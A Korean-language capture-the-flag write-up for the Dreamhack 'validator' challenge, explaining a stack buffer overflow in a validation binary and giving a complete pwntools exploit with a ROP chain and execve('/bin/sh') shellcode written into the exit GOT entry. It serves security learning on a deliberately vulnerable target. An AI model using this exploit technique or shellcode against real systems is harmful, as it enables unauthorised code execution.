dreamhack - validator writeup
[dreamhack] validator writeup
1. 문제

취약한 인증 프로그램을 익스플로잇해 flag를 획득하세요!
Hint: 서버 환경에 설치된 5.4.0 이전 버전의 커널에서는, NX Bit가 비활성화되어 있는 경우 읽기 권한이 있는 메모리에 실행 권한이 존재합니다.
5.4.0 이후 버전에서는 스택 영역에만 실행 권한이 존재합니다.
2. 풀이
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF
memset(s, 0, 0x10uLL);
read(0, s, 0x400uLL);
sub_400580((__int64)s, 0x80uLL);
return 0LL;
}
__int64 __fastcall sub_400580(__int64 a1, unsigned __int64 a2)
{
unsigned int i; // [rsp+1Ch] [rbp-4h]
int j; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
if ( *(_BYTE *)((int)i + a1) != aDreamhack[i] )
exit(0);
}
for ( j = 11; a2 > j; ++j )
{
if ( *(char *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
exit(0);
}
return 0LL;
}
소스코드가 존재하지않고 바이너리만 존재한다. main
함수에서는 0x400
만큼 읽고, 이를 sub_400580
함수에 넘겨준다.
해당 함수에서는 두개의 검증을 수행하는데,
- 0에서 9까지 10개의 문자가
Dreamhack
이라는 변수에 들어있는 문자열과 같은지 검사하고, - 11부터 0x80까지 각 문자의 ascii코드가 1씩 감소하는지 검증한다.
Dreamhack
변수에는 아래와 같은 값이 존재한다.
* .data:0000000000601040 aDreamhack db 'DREAMHACK!',0 ; DATA XREF: sub_400580+36↑o
read
함수를 통해 읽는 크기가 0x400
인데 들어가는 변수 s
는 0x80
크기이므로 리턴 주소를 덮어쓸 수 있는 bof
취약점이 존재한다.
또한 checksec을 확인해보면 아래와 같이 걸려있는 보호기법이 없기 때문에 특정 위치에 쉘코드를 쓰고, 해당 주소로 리턴주소를 조작하면 될 것이다.
ubuntu@instance-20250406-1126:~/dreamhack/level2/validator$ checksec validator_server
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/validator/validator_server'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
위에서 언급한 것처럼 쉘코드를 어딘가에 쓰고, 해당 주소로 리턴 시켜야하는데, 어디 주소를 알 수 있을까 생각해봐야한다. 힌트로 5.4.0
이전 커널에서는 NX
권한이 비활성화될 경우 읽기 권한만 있어도 실행권한이 부여된다고 한다. 그래서 우선 gdb
의 vmmap
을 통해 실행권한을 확인해봤다.
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r-xp 1000 0 validator_dist
0x600000 0x601000 r--p 1000 0 validator_dist
0x601000 0x602000 rw-p 1000 1000 validator_dist
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c28000 0x7ffff7db0000 r-xp 188000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7db0000 0x7ffff7dff000 r--p 4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dff000 0x7ffff7e03000 r--p 4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e03000 0x7ffff7e05000 rw-p 2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e05000 0x7ffff7e12000 rw-p d000 0 [anon_7ffff7e05]
0x7ffff7fb2000 0x7ffff7fb5000 rw-p 3000 0 [anon_7ffff7fb2]
0x7ffff7fbd000 0x7ffff7fbf000 rw-p 2000 0 [anon_7ffff7fbd]
0x7ffff7fbf000 0x7ffff7fc3000 r--p 4000 0 [vvar]
0x7ffff7fc3000 0x7ffff7fc5000 r-xp 2000 0 [vdso]
0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc6000 0x7ffff7ff1000 r-xp 2b000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rwxp 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
스택주소를 알면 가장 좋겠지만 알 수 있는 방법은 없다. No-PIE
이기 때문에 주소가 바뀌지않고, 0x601000
부터 0x602000
사이의 GOT
영역이자 bss
영역에 읽기 및 쓰기 권한이 모두 존재하는 것을 이용하기로 했다.
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/ubuntu/dreamhack/level2/validator/validator_dist:
GOT protection: Partial RELRO | Found 3 GOT entries passing the filter
[0x601018] memset@GLIBC_2.2.5 -> 0x400466 (memset@plt+6) ◂— push 0 /* 'h' */
[0x601020] read@GLIBC_2.2.5 -> 0x400476 (read@plt+6) ◂— push 1
[0x601028] exit@GLIBC_2.2.5 -> 0x400486 (exit@plt+6) ◂— push 2
ROP
기법을 이용해서 exit
함수의 got
주소에 read
함수를 이용해서 쉘코드를 써주고, 해당 주소로 점프하면 해결될 것이다.
최종 exploit은 아래와 같다. 먼저 Dreamhack
변수에 들어있는 문자열 DREAMHACK!
과 똑같이 맞춰주고, 10번째 문자는 아무거나 추가한다.
그리고 11번째부터 sfp
를 포함한 136번째까지는 136부터 1씩 감소하도록 바이트를 추가해준다. 이후에는 그냥 ROP
를 수행하였다.
from pwn import *
p = process("./validator_dist")
p = remote("host3.dreamhack.games", 22702)
elf = ELF("./validator_dist")
pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b
read_plt = 0x400470
shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
payload = b"DREAMHACK!"
payload += b'a'
for i in range(11, 136, 1):
payload += bytes([136 - i])
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(elf.got["exit"])
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0x200)
payload += p64(read_plt)
payload += p64(elf.got["exit"])
p.send(payload)
sleep(1)
p.send(shellcode)
p.interactive()
실행하는 커널의 버전이 5.4.0
버전보다는 높아서… 로컬에서는 안먹혔지만 서버환경에다가 하니까 먹혔다.
해결~